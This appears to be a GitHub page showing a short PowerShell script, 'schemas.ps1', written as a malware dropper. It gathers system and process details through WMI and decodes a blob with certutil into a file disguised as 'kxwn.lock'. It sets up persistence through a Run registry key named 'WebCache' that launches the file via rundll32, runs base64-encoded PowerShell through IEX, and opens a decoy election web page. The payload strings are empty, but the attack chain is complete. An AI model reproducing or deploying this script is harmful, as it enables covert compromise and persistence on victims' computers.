-
Notifications
You must be signed in to change notification settings - Fork 0
/
schemas.ps1
14 lines (14 loc) · 779 Bytes
/
schemas.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
gwmi -namespace root\cimv2 -query "SELECT * FROM Win32_BIOS"
gwmi -namespace root\cimv2 -query "SELECT * FROM Win32_PnPEntity"
gwmi -namespace root\cimv2 -query "Select * from Win32_ComputerSystem"
gwmi -namespace root\cimv2 -query "SELECT * FROM Win32_Process"
(Get-Item -Path ".\" -Verbose).FullName
$bin = ""
$bin | Add-Content -Path blob
certutil -decode blob "$env:appdata\Microsoft\kxwn.lock"
Remove-Item -Path blob
New-ItemProperty -Force -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "WebCache" -Value "C:\windows\system32\rundll32.exe $env:appdata\Microsoft\kxwn.lock,VoidFunc"
$enc_ps = ""
$ps = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc_ps))
IEX($ps)
Invoke-Item '2016_United_States_presidential_election_-_Wikipedia.html'